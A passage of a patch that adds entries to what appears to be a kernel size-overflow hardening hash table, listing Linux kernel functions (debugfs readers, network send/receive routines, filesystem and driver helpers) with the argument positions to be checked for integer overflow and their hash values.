++_001981_hash il_dbgfs_qos_read 3 33615 _001981_hash NULL
++_001982_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001982_hash NULL
++_001983_hash il_dbgfs_rxon_flags_read 3 59950 _001983_hash &_001904_hash
++_001984_hash il_dbgfs_rx_queue_read 3 11221 _001984_hash NULL
++_001985_hash il_dbgfs_rx_stats_read 3 15243 _001985_hash NULL
++_001986_hash il_dbgfs_sensitivity_read 3 2370 _001986_hash NULL
++_001987_hash il_dbgfs_sram_read 3 62296 _001987_hash NULL
++_001988_hash il_dbgfs_stations_read 3 21532 _001988_hash NULL
++_001989_hash il_dbgfs_status_read 3 58388 _001989_hash NULL
++_001990_hash il_dbgfs_tx_queue_read 3 55668 _001990_hash NULL
++_001991_hash il_dbgfs_tx_stats_read 3 32913 _001991_hash NULL
++_001992_hash ima_show_htable_value 2 57136 _001992_hash NULL
++_001994_hash intel_fake_agp_alloc_by_type 1 1 _001994_hash NULL
++_001995_hash ip4ip6_err 5 36772 _001995_hash NULL
++_001996_hash ip6_append_data 4-5 36490 _003601_hash NULL nohasharray
++_001997_hash ip6ip6_err 5 18308 _001997_hash NULL
++_001998_hash __ip_append_data 7-8 36191 _001998_hash NULL
++_001999_hash ip_vs_icmp_xmit 4 59624 _001999_hash NULL
++_002000_hash ip_vs_icmp_xmit_v6 4 20464 _002000_hash NULL
++_002001_hash ipw_write 3 59807 _002001_hash NULL
++_002002_hash irda_recvmsg_stream 4 35280 _002002_hash NULL
++_002003_hash irq_domain_add_simple 2 46734 _002003_hash NULL
++_002004_hash __iscsi_complete_pdu 4 10726 _002004_hash NULL
++_002005_hash iscsi_nop_out_rsp 4 51117 _002005_hash NULL
++_002006_hash iscsi_tcp_conn_setup 2 16376 _002006_hash NULL
++_002007_hash iwl_dbgfs_bt_traffic_read 3 35534 _002007_hash NULL
++_002008_hash iwl_dbgfs_calib_disabled_read 3 22649 _002008_hash NULL
++_002009_hash iwl_dbgfs_chain_noise_read 3 46355 _002009_hash NULL
++_002010_hash iwl_dbgfs_channels_read 3 6784 _002010_hash NULL
++_002011_hash iwl_dbgfs_current_sleep_command_read 3 2081 _002011_hash NULL
++_002012_hash iwl_dbgfs_disable_ht40_read 3 35761 _002012_hash NULL
++_002013_hash iwl_dbgfs_fh_reg_read 3 879 _002013_hash &_000406_hash
++_002014_hash iwl_dbgfs_interrupt_read 3 23574 _002014_hash NULL
++_002015_hash iwl_dbgfs_log_event_read 3 2107 _002015_hash NULL
++_002016_hash iwl_dbgfs_missed_beacon_read 3 50584 _002016_hash NULL
++_002017_hash iwl_dbgfs_nvm_read 3 23845 _002017_hash NULL
++_002018_hash iwl_dbgfs_plcp_delta_read 3 55407 _002018_hash NULL
++_002019_hash iwl_dbgfs_power_save_status_read 3 54392 _002019_hash NULL
++_002020_hash iwl_dbgfs_protection_mode_read 3 13943 _002020_hash NULL
++_002021_hash iwl_dbgfs_qos_read 3 11753 _002021_hash NULL
++_002022_hash iwl_dbgfs_reply_tx_error_read 3 19205 _002022_hash NULL
++_002023_hash iwl_dbgfs_rf_reset_read 3 26512 _002023_hash NULL
++_002024_hash iwl_dbgfs_rx_handlers_read 3 18708 _002024_hash NULL
++_002025_hash iwl_dbgfs_rxon_filter_flags_read 3 28832 _002025_hash NULL
++_002026_hash iwl_dbgfs_rxon_flags_read 3 20795 _002026_hash NULL
++_002027_hash iwl_dbgfs_rx_queue_read 3 19943 _002027_hash NULL
++_002028_hash iwl_dbgfs_sensitivity_read 3 63116 _002731_hash NULL nohasharray
++_002029_hash iwl_dbgfs_sleep_level_override_read 3 3038 _002029_hash NULL
++_002030_hash iwl_dbgfs_sram_read 3 44505 _002030_hash NULL
++_002031_hash iwl_dbgfs_stations_read 3 9309 _002031_hash NULL
++_002032_hash iwl_dbgfs_status_read 3 5171 _002032_hash NULL
++_002033_hash iwl_dbgfs_temperature_read 3 29224 _002033_hash NULL
++_002034_hash iwl_dbgfs_thermal_throttling_read 3 38779 _002034_hash NULL
++_002035_hash iwl_dbgfs_tx_queue_read 3 4635 _002035_hash NULL
++_002036_hash iwl_dbgfs_ucode_bt_stats_read 3 42820 _002036_hash NULL
++_002037_hash iwl_dbgfs_ucode_general_stats_read 3 49199 _002037_hash NULL
++_002038_hash iwl_dbgfs_ucode_rx_stats_read 3 58023 _002038_hash NULL
++_002039_hash iwl_dbgfs_ucode_tracing_read 3 47983 _002039_hash &_000356_hash
++_002040_hash iwl_dbgfs_ucode_tx_stats_read 3 31611 _002040_hash NULL
++_002041_hash iwl_dbgfs_wowlan_sram_read 3 540 _002041_hash NULL
++_002042_hash joydev_ioctl 2 33343 _002042_hash NULL
++_002043_hash kernel_readv 3 35617 _002043_hash NULL
++_002044_hash key_algorithm_read 3 57946 _002044_hash NULL
++_002045_hash key_icverrors_read 3 20895 _002045_hash NULL
++_002046_hash key_key_read 3 3241 _002046_hash NULL
++_002047_hash key_replays_read 3 62746 _002047_hash NULL
++_002048_hash key_rx_spec_read 3 12736 _002048_hash NULL
++_002049_hash key_tx_spec_read 3 4862 _002049_hash NULL
++_002050_hash __kfifo_to_user 3 36555 _002568_hash NULL nohasharray
++_002051_hash __kfifo_to_user_r 3 39123 _002051_hash NULL
++_002052_hash kmem_zalloc_greedy 2-3 65268 _002052_hash NULL
++_002054_hash l1oip_socket_recv 6 56537 _002054_hash NULL
++_002055_hash l2cap_build_cmd 4 48676 _002055_hash NULL
++_002056_hash l2cap_chan_send 3 49995 _002056_hash NULL
++_002057_hash l2cap_segment_sdu 4 48772 _002057_hash NULL
++_002058_hash l2down_create 4 21755 _002058_hash NULL
++_002059_hash l2tp_xmit_skb 3 42672 _002059_hash NULL
++_002060_hash l2up_create 3 6430 _002060_hash NULL
++_002061_hash lbs_debugfs_read 3 30721 _002061_hash NULL
++_002062_hash lbs_dev_info 3 51023 _002062_hash NULL
++_002063_hash lbs_host_sleep_read 3 31013 _002063_hash NULL
++_002064_hash lbs_rdbbp_read 3 45805 _002064_hash NULL
++_002065_hash lbs_rdmac_read 3 418 _002065_hash NULL
++_002066_hash lbs_rdrf_read 3 41431 _002066_hash NULL
++_002067_hash lbs_sleepparams_read 3 10840 _002067_hash NULL
++_002068_hash lbs_threshold_read 5 21046 _002068_hash NULL
++_002069_hash ldisc_receive 4 41516 _002069_hash NULL
++_002070_hash libfc_vport_create 2 4415 _002070_hash NULL
++_002073_hash lkdtm_debugfs_read 3 45752 _002073_hash NULL
++_002074_hash llcp_sock_recvmsg 4 13556 _002074_hash NULL
++_002075_hash long_retry_limit_read 3 59766 _002075_hash NULL
++_002076_hash lpfc_debugfs_dif_err_read 3 36303 _002076_hash NULL
++_002077_hash lpfc_debugfs_read 3 16566 _002077_hash NULL
++_002078_hash lpfc_idiag_baracc_read 3 58466 _002972_hash NULL nohasharray
++_002079_hash lpfc_idiag_ctlacc_read 3 33943 _002079_hash NULL
++_002080_hash lpfc_idiag_drbacc_read 3 15948 _002080_hash NULL
++_002081_hash lpfc_idiag_extacc_read 3 48301 _002081_hash NULL
++_002082_hash lpfc_idiag_mbxacc_read 3 28061 _002082_hash NULL
++_002083_hash lpfc_idiag_pcicfg_read 3 50334 _002083_hash NULL
++_002084_hash lpfc_idiag_queacc_read 3 13950 _002084_hash NULL
++_002085_hash lpfc_idiag_queinfo_read 3 55662 _002085_hash NULL
++_002086_hash lro_gen_skb 6 2644 _002086_hash NULL
++_002087_hash mac80211_format_buffer 2 41010 _002087_hash NULL
++_002088_hash macvtap_alloc_skb 2-4-3 50629 _002088_hash NULL
++_002091_hash macvtap_put_user 4 55609 _002091_hash NULL
++_002092_hash macvtap_sendmsg 4 30629 _002092_hash NULL
++_002093_hash mangle_packet 6-8 27864 _002093_hash NULL
++_002095_hash manip_pkt 3 7741 _002095_hash NULL
++_002096_hash mempool_create_kmalloc_pool 1 41650 _002096_hash NULL
++_002097_hash mempool_create_page_pool 1 30189 _002097_hash NULL
++_002098_hash mempool_create_slab_pool 1 62907 _002098_hash NULL
++_002099_hash mgmt_device_found 10 14146 _002099_hash NULL
++_002100_hash minstrel_stats_read 3 17290 _002100_hash NULL
++_002101_hash mmc_ext_csd_read 3 13205 _002101_hash NULL
++_002102_hash mon_bin_read 3 6841 _002102_hash NULL
++_002103_hash mon_stat_read 3 25238 _002103_hash NULL
++_002105_hash mqueue_read_file 3 6228 _002105_hash NULL
++_002106_hash mwifiex_debug_read 3 53074 _002106_hash NULL
++_002107_hash mwifiex_getlog_read 3 54269 _002107_hash NULL
++_002108_hash mwifiex_info_read 3 53447 _002108_hash NULL
++_002109_hash mwifiex_rdeeprom_read 3 51429 _002109_hash NULL
++_002110_hash mwifiex_regrdwr_read 3 34472 _002110_hash NULL
++_002111_hash named_prepare_buf 2 24532 _002111_hash NULL
++_002112_hash nci_send_cmd 3 58206 _002112_hash NULL
++_002113_hash netdev_alloc_skb_ip_align 2 40811 _002113_hash NULL
++_002114_hash netpoll_send_udp 3 58955 _002114_hash NULL
++_002115_hash nfcwilink_send_bts_cmd 3 10802 _002115_hash NULL
++_002116_hash nf_nat_mangle_tcp_packet 5-7 8643 _002116_hash NULL
++_002119_hash nfsd_vfs_read 6 62605 _002616_hash NULL nohasharray
++_002120_hash nfsd_vfs_write 6 54577 _002120_hash NULL
++_002121_hash nfs_idmap_lookup_id 2 10660 _002121_hash NULL
++_002122_hash ntfs_rl_realloc 3 56831 _002122_hash &_000370_hash
++_002123_hash ntfs_rl_realloc_nofail 3 32173 _002123_hash NULL
++_002124_hash o2hb_debug_read 3 37851 _002124_hash NULL
++_002125_hash o2net_debug_read 3 52105 _002125_hash NULL
++_002126_hash ocfs2_control_read 3 56405 _002126_hash NULL
++_002127_hash ocfs2_debug_read 3 14507 _002127_hash NULL
++_002128_hash oom_adjust_read 3 25127 _002128_hash NULL
++_002129_hash oom_score_adj_read 3 39921 _002426_hash NULL nohasharray
++_002130_hash oprofilefs_str_to_user 3 42182 _002130_hash NULL
++_002131_hash oprofilefs_ulong_to_user 3 11582 _002131_hash NULL
++_002132_hash osd_req_add_get_attr_list 3 49278 _002132_hash NULL
++_002133_hash _osd_req_list_objects 6 4204 _002133_hash NULL
++_002134_hash osd_req_read_kern 5 59990 _002134_hash NULL
++_002135_hash osd_req_write_kern 5 53486 _002135_hash NULL
++_002136_hash osst_read 3 40237 _002136_hash NULL
++_002137_hash p54_alloc_skb 3 34366 _002137_hash &_000485_hash
++_002138_hash p54_init_common 1 23850 _002138_hash NULL
++_002139_hash packet_alloc_skb 2-5-4 62602 _002139_hash NULL
++_002142_hash packet_sendmsg 4 24954 _002142_hash NULL
++_002143_hash page_readlink 3 23346 _002143_hash NULL
++_002144_hash pcf50633_write_block 3 2124 _002144_hash NULL
++_002145_hash pcpu_alloc_alloc_info 1-2 45813 _002145_hash NULL
++_002147_hash pep_indicate 5 38611 _002147_hash NULL
++_002148_hash pep_reply 5 50582 _002148_hash NULL
++_002149_hash pipe_handler_request 5 50774 _003582_hash NULL nohasharray
++_002150_hash platform_list_read_file 3 34734 _002150_hash NULL
++_002151_hash pm860x_bulk_write 3 43875 _002151_hash NULL
++_002152_hash pm_qos_power_read 3 55891 _002152_hash NULL
++_002153_hash port_show_regs 3 5904 _002153_hash NULL
++_002154_hash proc_coredump_filter_read 3 39153 _002154_hash NULL
++_002155_hash proc_fdinfo_read 3 62043 _002155_hash NULL
++_002156_hash proc_file_read 3 53905 _002156_hash NULL
++_002157_hash proc_info_read 3 63344 _002157_hash NULL
++_002158_hash proc_loginuid_read 3 15631 _002158_hash NULL
++_002159_hash proc_pid_attr_read 3 10173 _002159_hash NULL
++_002160_hash proc_pid_readlink 3 52186 _002160_hash NULL
++_002161_hash proc_read 3 43614 _002161_hash NULL
++_002162_hash proc_self_readlink 3 38094 _002162_hash NULL
++_002163_hash proc_sessionid_read 3 6911 _002299_hash NULL nohasharray
++_002164_hash provide_user_output 3 41105 _002164_hash NULL
++_002165_hash pskb_network_may_pull 2 35336 _002165_hash NULL
++_002166_hash pskb_pull 2 65005 _002166_hash NULL
++_002167_hash pstore_file_read 3 57288 _002167_hash NULL
++_002168_hash ql_process_mac_rx_page 4 15543 _002168_hash NULL
++_002169_hash ql_process_mac_rx_skb 4 6689 _002169_hash NULL
++_002170_hash queues_read 3 24877 _002170_hash NULL
++_002171_hash raw_recvmsg 4 17277 _002171_hash NULL
++_002172_hash rcname_read 3 25919 _002172_hash NULL
++_002173_hash read_4k_modal_eeprom 3 30212 _002173_hash NULL
++_002174_hash read_9287_modal_eeprom 3 59327 _002174_hash NULL
++_002175_hash reada_find_extent 2 63486 _002175_hash NULL
++_002176_hash read_def_modal_eeprom 3 14041 _002176_hash NULL
++_002177_hash read_enabled_file_bool 3 37744 _002177_hash NULL
++_002178_hash read_file_ani 3 23161 _002178_hash NULL
++_002179_hash read_file_antenna 3 13574 _002179_hash NULL
++_002180_hash read_file_base_eeprom 3 42168 _002180_hash NULL
++_002181_hash read_file_beacon 3 32595 _002181_hash NULL
++_002182_hash read_file_blob 3 57406 _002182_hash NULL
++_002183_hash read_file_bool 3 4180 _002183_hash NULL
++_002184_hash read_file_credit_dist_stats 3 54367 _002184_hash NULL
++_002185_hash read_file_debug 3 58256 _002185_hash NULL
++_002186_hash read_file_disable_ani 3 6536 _002186_hash NULL
++_002187_hash read_file_dma 3 9530 _002187_hash NULL
++_002188_hash read_file_dump_nfcal 3 18766 _002188_hash NULL
++_002189_hash read_file_frameerrors 3 64001 _002189_hash NULL
++_002190_hash read_file_interrupt 3 61742 _002197_hash NULL nohasharray
++_002191_hash read_file_misc 3 9948 _002191_hash NULL
++_002192_hash read_file_modal_eeprom 3 39909 _002192_hash NULL
++_002193_hash read_file_queue 3 40895 _002193_hash NULL
++_002194_hash read_file_rcstat 3 22854 _002194_hash NULL
++_002195_hash read_file_recv 3 48232 _002195_hash NULL
++_002196_hash read_file_regidx 3 33370 _002196_hash NULL
++_002197_hash read_file_regval 3 61742 _002197_hash &_002190_hash
++_002198_hash read_file_reset 3 52310 _002198_hash NULL
++_002199_hash read_file_rx_chainmask 3 41605 _002199_hash NULL
++_002200_hash read_file_slot 3 50111 _002200_hash NULL
++_002201_hash read_file_stations 3 35795 _002201_hash NULL
++_002202_hash read_file_tgt_int_stats 3 20697 _002202_hash NULL
++_002203_hash read_file_tgt_rx_stats 3 33944 _002203_hash NULL
++_002204_hash read_file_tgt_stats 3 8959 _002204_hash NULL
++_002205_hash read_file_tgt_tx_stats 3 51847 _002205_hash NULL
++_002206_hash read_file_tx_chainmask 3 3829 _002206_hash NULL
++_002207_hash read_file_war_stats 3 292 _002207_hash NULL
++_002208_hash read_file_xmit 3 21487 _002208_hash NULL
++_002209_hash read_flush_pipefs 3 20171 _002209_hash NULL
++_002210_hash read_flush_procfs 3 27642 _002210_hash NULL
++_002211_hash read_from_oldmem 2 3337 _002211_hash NULL
++_002212_hash read_oldmem 3 55658 _002212_hash NULL
++_002213_hash receive_packet 2 12367 _002213_hash NULL
++_002214_hash regmap_name_read_file 3 39379 _002214_hash NULL
++_002215_hash repair_io_failure 4 4815 _002215_hash NULL
++_002216_hash request_key_and_link 4 42693 _002216_hash NULL
++_002217_hash res_counter_read 4 33499 _002217_hash NULL
++_002218_hash rfcomm_tty_write 3 51603 _002218_hash NULL
++_002219_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _002219_hash NULL
++_002220_hash rs_sta_dbgfs_scale_table_read 3 40262 _002220_hash NULL
++_002221_hash rs_sta_dbgfs_stats_table_read 3 56573 _002221_hash NULL
++_002222_hash rts_threshold_read 3 44384 _002222_hash NULL
++_002223_hash rxrpc_sendmsg 4 29049 _002223_hash NULL
++_002224_hash scrub_setup_recheck_block 3-4 56245 _002224_hash NULL
++_002226_hash scsi_adjust_queue_depth 3 12802 _002226_hash NULL
++_002227_hash sctp_make_abort 3 34459 _002227_hash NULL
++_002228_hash sctp_make_asconf 3 4078 _002228_hash NULL
++_002229_hash sctp_make_asconf_ack 3 31726 _002229_hash NULL
++_002230_hash sctp_make_datafrag_empty 3 34737 _002230_hash NULL
++_002231_hash sctp_make_fwdtsn 3 53265 _002231_hash NULL
++_002232_hash sctp_make_heartbeat_ack 4 34411 _002232_hash NULL
++_002233_hash sctp_make_init 4 58401 _002233_hash NULL
++_002234_hash sctp_make_init_ack 4 3335 _002234_hash NULL
++_002235_hash sctp_make_op_error_space 3 5528 _002235_hash NULL
++_002236_hash sctp_manip_pkt 2 40620 _002236_hash NULL
++_002237_hash selinux_inode_notifysecctx 3 36896 _002237_hash NULL
++_002238_hash sel_read_avc_cache_threshold 3 33942 _002238_hash NULL
++_002239_hash sel_read_avc_hash_stats 3 1984 _002239_hash NULL
++_002240_hash sel_read_bool 3 24236 _002240_hash NULL
++_002241_hash sel_read_checkreqprot 3 33068 _002241_hash NULL
++_002242_hash sel_read_class 3 12669 _002960_hash NULL nohasharray
++_002243_hash sel_read_enforce 3 2828 _002243_hash NULL
++_002244_hash sel_read_handle_status 3 56139 _002244_hash NULL
++_002245_hash sel_read_handle_unknown 3 57933 _002245_hash NULL
++_002246_hash sel_read_initcon 3 32362 _002246_hash NULL
++_002247_hash sel_read_mls 3 25369 _002247_hash NULL
++_002248_hash sel_read_perm 3 42302 _002248_hash NULL
++_002249_hash sel_read_policy 3 55947 _002249_hash NULL
++_002250_hash sel_read_policycap 3 28544 _002250_hash NULL
++_002251_hash sel_read_policyvers 3 55 _002827_hash NULL nohasharray
++_002252_hash send_mpa_reject 3 7135 _002252_hash NULL
++_002253_hash send_mpa_reply 3 32372 _002253_hash NULL
++_002254_hash send_msg 4 37323 _002254_hash NULL
++_002255_hash send_packet 4 52960 _002255_hash NULL
++_002256_hash set_rxd_buffer_pointer 8 9950 _002256_hash NULL
++_002257_hash sge_rx 3 50594 _002257_hash NULL
++_002258_hash short_retry_limit_read 3 4687 _002258_hash NULL
++_002259_hash simple_attr_read 3 24738 _002259_hash NULL
++_002260_hash simple_transaction_read 3 17076 _002260_hash NULL
++_002261_hash sisusbcon_bmove 5-7-6 21873 _002261_hash NULL
++_002264_hash sisusbcon_clear 3-5-4 64329 _002264_hash NULL
++_002267_hash sisusbcon_putcs 3 57630 _002267_hash &_001043_hash
++_002268_hash sisusbcon_scroll 5-3-2 31315 _002268_hash NULL
++_002269_hash sisusbcon_scroll_area 3-4 25899 _002269_hash NULL
++_002271_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002271_hash NULL
++_002274_hash skb_copy_datagram_iovec 2-4 5806 _002274_hash NULL
++_002276_hash skb_gro_header_slow 2 34958 _002276_hash NULL
++_002277_hash smk_read_ambient 3 61220 _002277_hash NULL
++_002278_hash smk_read_direct 3 15803 _002278_hash NULL
++_002279_hash smk_read_doi 3 30813 _002279_hash NULL
++_002280_hash smk_read_logging 3 37804 _002280_hash NULL
++_002281_hash smk_read_mapped 3 7562 _002281_hash NULL
++_002282_hash smk_read_onlycap 3 3855 _002282_hash NULL
++_002283_hash smp_build_cmd 3 45853 _002283_hash NULL
++_002284_hash snapshot_read 3 22601 _002284_hash NULL
++_002285_hash snd_cs4281_BA0_read 5 6847 _002285_hash NULL
++_002286_hash snd_cs4281_BA1_read 5 20323 _002286_hash NULL
++_002287_hash snd_cs46xx_io_read 5 45734 _002287_hash NULL
++_002288_hash snd_gus_dram_read 4 56686 _002288_hash NULL
++_002289_hash snd_mixart_BA0_read 5 45069 _002289_hash NULL
++_002290_hash snd_mixart_BA1_read 5 5082 _002290_hash NULL
++_002291_hash snd_pcm_oss_read 3 28317 _002291_hash NULL
++_002292_hash snd_pcm_plug_alloc 2 42339 _002292_hash NULL
++_002293_hash snd_rawmidi_kernel_read 3 4328 _002293_hash NULL
++_002294_hash snd_rawmidi_read 3 56337 _002294_hash NULL
++_002295_hash snd_rme32_capture_copy 5 39653 _002295_hash NULL
++_002296_hash snd_rme96_capture_copy 5 58484 _002296_hash NULL
++_002297_hash snd_soc_hw_bulk_write_raw 4 14245 _002297_hash NULL
++_002298_hash sock_alloc_send_skb 2 23720 _002298_hash NULL
++_002299_hash spi_show_regs 3 6911 _002299_hash &_002163_hash
++_002300_hash sta_agg_status_read 3 14058 _002300_hash NULL
++_002301_hash sta_connected_time_read 3 17435 _002301_hash NULL
++_002302_hash sta_flags_read 3 56710 _002302_hash NULL
++_002303_hash sta_ht_capa_read 3 10366 _002303_hash NULL
++_002304_hash sta_last_seq_ctrl_read 3 19106 _002304_hash NULL
++_002305_hash sta_num_ps_buf_frames_read 3 1488 _002305_hash NULL
++_002306_hash st_read 3 51251 _002306_hash NULL
++_002307_hash supply_map_read_file 3 10608 _002307_hash NULL
++_002308_hash sysfs_read_file 3 42113 _002308_hash NULL
++_002309_hash sys_preadv 3 17100 _002309_hash NULL
++_002310_hash sys_pwritev 3 41722 _002310_hash NULL
++_002311_hash sys_readv 3 50664 _002311_hash NULL
++_002312_hash sys_rt_sigpending 2 24961 _002312_hash NULL
++_002313_hash sys_writev 3 28384 _002313_hash NULL
++_002314_hash tcf_csum_skb_nextlayer 3 64025 _002314_hash NULL
++_002315_hash tcp_fragment 3 20436 _002315_hash NULL
++_002316_hash tcp_manip_pkt 2 14202 _002316_hash NULL
++_002317_hash teiup_create 3 43201 _002317_hash NULL
++_002318_hash test_iso_queue 5 62534 _002318_hash NULL
++_002319_hash tg3_run_loopback 2 30093 _002319_hash NULL
++_002320_hash tipc_msg_build 4 12326 _002320_hash NULL
++_002321_hash TSS_authhmac 3 12839 _002321_hash NULL
++_002322_hash TSS_checkhmac1 5 31429 _002322_hash NULL
++_002323_hash TSS_checkhmac2 5-7 40520 _002323_hash NULL
++_002325_hash tty_audit_log 8 47280 _002325_hash NULL
++_002326_hash tty_buffer_request_room 2 23228 _002326_hash NULL
++_002327_hash tty_insert_flip_string_fixed_flag 4 37428 _002327_hash NULL
++_002328_hash tty_insert_flip_string_flags 4 30969 _002328_hash NULL
++_002329_hash tty_prepare_flip_string 3 39955 _002329_hash NULL
++_002330_hash tty_prepare_flip_string_flags 4 59240 _002330_hash NULL
++_002331_hash tun_alloc_skb 2-4-3 41216 _002331_hash NULL
++_002334_hash tun_sendmsg 4 10337 _002334_hash NULL
++_002335_hash u32_array_read 3 2219 _002335_hash NULL
++_002336_hash ubi_io_write_data 4-5 40305 _002336_hash NULL
++_002338_hash udplite_manip_pkt 2 62433 _002338_hash NULL
++_002339_hash udp_manip_pkt 2 50770 _002339_hash NULL
++_002340_hash uhci_debug_read 3 5911 _002340_hash NULL
++_002341_hash um_idi_read 3 850 _002341_hash NULL
++_002342_hash unix_seqpacket_sendmsg 4 27893 _002342_hash NULL
++_002343_hash unix_stream_recvmsg 4 35210 _002343_hash NULL
++_002344_hash unlink_simple 3 47506 _002344_hash NULL
++_002345_hash use_pool 2 64607 _002345_hash NULL
++_002346_hash v9fs_fid_readn 4 60544 _002346_hash NULL
++_002347_hash v9fs_file_read 3 40858 _002347_hash NULL
++_002348_hash vhci_read 3 47878 _002348_hash NULL
++_002349_hash vhost_add_used_and_signal_n 4 8038 _002349_hash NULL
++_002350_hash vmbus_open 2-3 12154 _002350_hash NULL
++_002352_hash vxge_rx_alloc 3 52024 _002352_hash NULL
++_002353_hash waiters_read 3 40902 _002353_hash NULL
++_002354_hash wm8994_bulk_write 3 13615 _002354_hash NULL
++_002355_hash write_pbl 4 59583 _002355_hash NULL
++_002356_hash wusb_prf_256 7 29203 _002356_hash NULL
++_002357_hash wusb_prf_64 7 51065 _002357_hash NULL
++_002358_hash _xfs_buf_alloc 3 38058 _002358_hash NULL
++_002359_hash xfs_buf_read_uncached 3 42844 _002359_hash NULL
++_002360_hash xfs_file_buffered_aio_write 4 11492 _002360_hash NULL
++_002361_hash xfs_iext_add 3 41422 _002361_hash NULL
++_002362_hash xfs_iext_remove_direct 3 40744 _002362_hash NULL
++_002363_hash xfs_readdir 3 41200 _002363_hash NULL
++_002364_hash xfs_trans_get_efd 3 51148 _002364_hash NULL
++_002365_hash xfs_trans_get_efi 2 7898 _002365_hash NULL
++_002366_hash xlog_bread_offset 3 60030 _002366_hash NULL
++_002367_hash xlog_get_bp 2 23229 _002367_hash NULL
++_002368_hash xz_dec_init 2 29029 _002368_hash NULL
++_002369_hash aac_change_queue_depth 2 825 _002369_hash NULL
++_002370_hash add_rx_skb 3 8257 _002370_hash NULL
++_002371_hash afs_extract_data 5 50261 _002371_hash NULL
++_002372_hash arcmsr_adjust_disk_queue_depth 2 16756 _002372_hash NULL
++_002373_hash atalk_recvmsg 4 22053 _002373_hash NULL
++_002374_hash ath6kl_buf_alloc 1 57304 _002374_hash NULL
++_002376_hash atomic_read_file 3 16227 _002376_hash NULL
++_002377_hash ax25_recvmsg 4 64441 _002377_hash NULL
++_002378_hash batadv_add_packet 3 12136 _002378_hash NULL
++_002379_hash batadv_iv_ogm_aggregate_new 2 54761 _002379_hash NULL
++_002380_hash batadv_tt_response_fill_table 1 39236 _002380_hash NULL
++_002381_hash beiscsi_process_async_pdu 7 39834 _002381_hash NULL
++_002382_hash bioset_create 1 5580 _002382_hash NULL
++_002383_hash bioset_integrity_create 2 62708 _002383_hash NULL
++_002384_hash biovec_create_pools 2 9575 _002384_hash NULL
++_002385_hash bnx2fc_process_l2_frame_compl 3 65072 _002385_hash NULL
++_002386_hash brcmf_sdbrcm_died_dump 3 15841 _002386_hash NULL
++_002387_hash brcmu_pkt_buf_get_skb 1 5556 _002387_hash NULL
++_002388_hash br_send_bpdu 3 29669 _002388_hash NULL
++_002389_hash btrfs_error_discard_extent 2 50444 _002389_hash NULL
++_002390_hash __btrfs_free_reserved_extent 2 31207 _002390_hash NULL
++_002391_hash btrfsic_cmp_log_and_dev_bytenr 2 49628 _002391_hash NULL
++_002392_hash btrfsic_create_link_to_next_block 4 58246 _002392_hash NULL
++_002393_hash btrfs_init_new_buffer 4 55761 _002393_hash NULL
++_002394_hash btrfs_mksubvol 3 58240 _002394_hash NULL
++_002395_hash bt_skb_send_alloc 2 6581 _002395_hash NULL
++_002396_hash bt_sock_recvmsg 4 12316 _002396_hash NULL
++_002397_hash bt_sock_stream_recvmsg 4 52518 _002397_hash NULL
++_002398_hash c4iw_reject_cr 3 28174 _002398_hash NULL
++_002399_hash caif_seqpkt_recvmsg 4 32241 _002399_hash NULL
++_002400_hash carl9170_rx_copy_data 2 21656 _002400_hash NULL
++_002401_hash cfpkt_append 3 61206 _002401_hash NULL
++_002402_hash cfpkt_setlen 2 49343 _002402_hash NULL
++_002403_hash cgroup_file_read 3 28804 _002403_hash NULL
++_002404_hash cosa_net_setup_rx 2 38594 _002404_hash NULL
++_002405_hash cpu_type_read 3 36540 _002405_hash NULL
++_002406_hash cxgb4_pktgl_to_skb 2 61899 _002406_hash NULL
++_002408_hash dccp_recvmsg 4 16056 _002408_hash NULL
++_002409_hash ddp_clear_map 4 46152 _002409_hash NULL
++_002410_hash ddp_set_map 4 751 _002410_hash NULL
++_002411_hash depth_read 3 31112 _002411_hash NULL
++_002412_hash dfs_global_file_read 3 7787 _002412_hash NULL
++_002413_hash dgram_recvmsg 4 23104 _002413_hash NULL
++_002414_hash diva_init_dma_map 3 58336 _002414_hash NULL
++_002415_hash divas_write 3 63901 _002415_hash NULL
++_002416_hash dma_push_rx 2 39973 _002416_hash NULL
++_002417_hash dma_skb_copy_datagram_iovec 3-5 21516 _002417_hash NULL
++_002419_hash dm_table_create 3 35687 _002419_hash NULL
++_002420_hash dn_alloc_send_pskb 2 4465 _002420_hash NULL
++_002421_hash dn_nsp_return_disc 2 60296 _002421_hash NULL
++_002422_hash dn_nsp_send_disc 2 23469 _002422_hash NULL
++_002423_hash dsp_tone_hw_message 3 17678 _002423_hash NULL
++_002424_hash e1000_check_copybreak 3 62448 _002424_hash NULL
++_002425_hash enable_read 3 2117 _002425_hash &_000224_hash
++_002426_hash exofs_read_kern 6 39921 _002426_hash &_002129_hash
++_002427_hash fast_rx_path 3 59214 _002427_hash NULL
++_002428_hash fc_change_queue_depth 2 36841 _002428_hash NULL
++_002429_hash fc_fcp_frame_alloc 2 12624 _002429_hash NULL
++_002430_hash fcoe_ctlr_send_keep_alive 3 15308 _002430_hash NULL
++_002431_hash frequency_read 3 64031 _003698_hash NULL nohasharray
++_002432_hash ftdi_process_packet 5 45005 _002432_hash NULL
++_002433_hash fuse_conn_congestion_threshold_read 3 51028 _002433_hash NULL
++_002434_hash fuse_conn_max_background_read 3 10855 _002434_hash NULL
++_002435_hash fwnet_incoming_packet 3 40380 _002435_hash NULL
++_002436_hash fwnet_pd_new 4 39947 _003402_hash NULL nohasharray
++_002437_hash get_alua_req 3 4166 _002437_hash NULL
++_002438_hash get_rdac_req 3 45882 _002438_hash NULL
++_002439_hash got_frame 2 16028 _002439_hash NULL
++_002440_hash gsm_mux_rx_netchar 3 33336 _002440_hash NULL
++_002441_hash hci_sock_recvmsg 4 7072 _002441_hash NULL
++_002442_hash hdlcdev_rx 3 997 _002442_hash NULL
++_002443_hash hdlc_empty_fifo 2 18397 _002443_hash NULL
++_002444_hash hfc_empty_fifo 2 57972 _002444_hash NULL
++_002445_hash hfcpci_empty_fifo 4 2427 _002445_hash NULL
++_002446_hash hfcsusb_rx_frame 3 52745 _002446_hash NULL
++_002447_hash hidp_output_raw_report 3 5629 _002447_hash NULL
++_002448_hash hpsa_change_queue_depth 2 15449 _002448_hash NULL
++_002449_hash hptiop_adjust_disk_queue_depth 2 20122 _002449_hash NULL
++_002450_hash hscx_empty_fifo 2 13360 _002450_hash NULL
++_002451_hash hysdn_rx_netpkt 3 16136 _002451_hash NULL
++_002452_hash i2o_pool_alloc 4 55485 _002452_hash NULL
++_002453_hash ide_queue_pc_tail 5 11673 _002453_hash NULL
++_002454_hash ide_raw_taskfile 4 42355 _002454_hash NULL
